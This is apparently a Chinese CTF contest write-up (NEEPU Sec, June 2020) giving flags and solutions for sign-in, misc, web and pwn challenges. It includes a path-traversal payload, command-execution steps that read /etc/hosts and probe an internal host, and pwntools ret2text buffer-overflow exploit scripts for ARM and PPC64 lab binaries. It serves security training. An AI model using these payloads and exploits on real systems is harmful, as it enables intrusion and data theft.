Noob

签到题

输入上面的题目介绍就能拿分了，即 `N3EPu{Le4rn_ev3ry_dAy}`

来学习如何使用 nc 吧

题目环境在

https://github.com/binLep/NEEPU-Sec-Monthly-Contest/blob/master/2020-06/Noob/test_nc.zip

常驻签到题，nc 连接完终端后输入 `cat flag` 即可得到 flag

Misc

Base64

base64 会将每三个字符编码成四个字符，不够的用 = 补全，所以编码后长度应该是四的倍数

`TkUzzUHV7NTI4ZTBhNThhYzgyYjI3NzM1YzM1MWViMjgyNWY3ZjV9`

长度不对

编码 NE3Pu 结果为 TkUzUHV7，发现多了一个 z ，去掉后可正常解码

flag：NE3Pu{528e0a58ac82b27735c351eb2825f7f5}

WaterMarkH

这个题的文件名本来是

JOMIL)B`K37[H_{39046G}]D_WaterMark.jpg

带有盲水印工具的生成标志，但是上题的时候被改成了 1.jpg

发现后又改了回来，不过是直接把题目名改成了 WaterMarkH 了。

使用 WaterMarkH 解码直接获得 flag

Web

pilipili

禁用了 F12 和右键

可以使用 view-source 读源代码 或者 抓包 或者 先打开控制台再打开网页

打开页面10秒会弹出一个提示框，flag 跟提示框的代码写在一个 js 文件中

做了简单混淆，但是字符串没有变化，解完混淆后是标准的 flag 格式

poem

给了部分源码

`os.path.join(str1, str2)`

当 str2 以 / 开头，会只返回 str2

payload : `?name=/flag`

exec_cmd

开始题目缺少一些描述，后来加上了 hint

hint: flag 在网站根目录下的 flag.txt 中

题目是由两台机器组成的内网，都运行着 web 服务，跳板机对外开放可以执行命令

在跳板机网站根目录没发现 flag 于是执行命令

`cat /etc/hosts`

主机 IP 为 173.0.111.4

探测 D 段相邻 IP 是否存在存活主机

同时可以看 `/proc/net/arp` 有无通信记录

`curl 173.0.111.5` 发现 phpinfo

payload : `curl 173.0.111.5/flag.txt`

Pwn

armhf-ret2text

checksec 可以看出这个是 32 位小端序的程序

```
Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x10000)
```

看源码就是基础的 ret2text，正常做就行

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+0h] [bp-54h]

  setbuf((FILE *)stdin, 0);
  setbuf((FILE *)stdout, 0);
  setbuf((FILE *)stderr, 0);
  puts("binLep is slacking off..\nPlease input something");
  read(0, &buf, 0x70u);
  puts("I have received your message, Thank you!");
  return 0;
}
```

解题脚本：

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
```

```python

debug = 2
qemu = 'qemu-arm'
libc_path = '/usr/arm-linux-gnueabihf'

context(arch="arm", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process([qemu, '-g', '12345', '-L', libc_path, './pwn'])
elif debug == 2:
    p = process([qemu, '-L', libc_path, './pwn'])
else:
    p = remote('localhost', 10003)
addr_system = 0x10540

pd = 'a' * 0x54
pd += p32(addr_system)
p.sendlineafter('thing\n', pd)
p.interactive()
```

powerpc64-ret2text

checksec 查看程序可以看出这是一个 64 位大端序的程序

所以代码里要加个 `context.endian = 'be'`

源码跟上面差不多，不过 IDA 不能反汇编，拿 Ghidra 来看比较方便

```
undefined8 main(void)

{
  undefined auStack560 [0x228];

  00000018.plt_call.setbuf@@GLIBC_2.3(stdin,(char *)0x0);
  00000018.plt_call.setbuf@@GLIBC_2.3(stdout,(char *)0x0);
  00000018.plt_call.setbuf@@GLIBC_2.3(stderr,(char *)0x0);
  00000018.plt_call.puts@@GLIBC_2.3("binLep is really slacking off..");
  00000018.plt_call.read@@GLIBC_2.3(0,auStack560,0x300);
  00000018.plt_call.puts@@GLIBC_2.3("wuwuwu");
  return 0;
}
```

还有一点就是 ppc64 需要向后覆盖 0x18 位，而不是正常的 0x8 位

解题脚本：

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
qemu = 'qemu-ppc64'
libc_path = '/usr/powerpc64-linux-gnu/'

context(endian='be', os="linux")
context.log_level = "debug"
if debug == 1:
```

```
    p = process([qemu, '-g', '12345', '-L', libc_path, './pwn'])
elif debug == 2:
    p = process([qemu, '-L', libc_path, './pwn'])
else:
    p = remote('localhost', 9999)
addr_system = 0x100007e8

pd = 'a' * 0x240
pd += p64(addr_system)
p.sendlineafter('off..\n', pd)
p.interactive()
```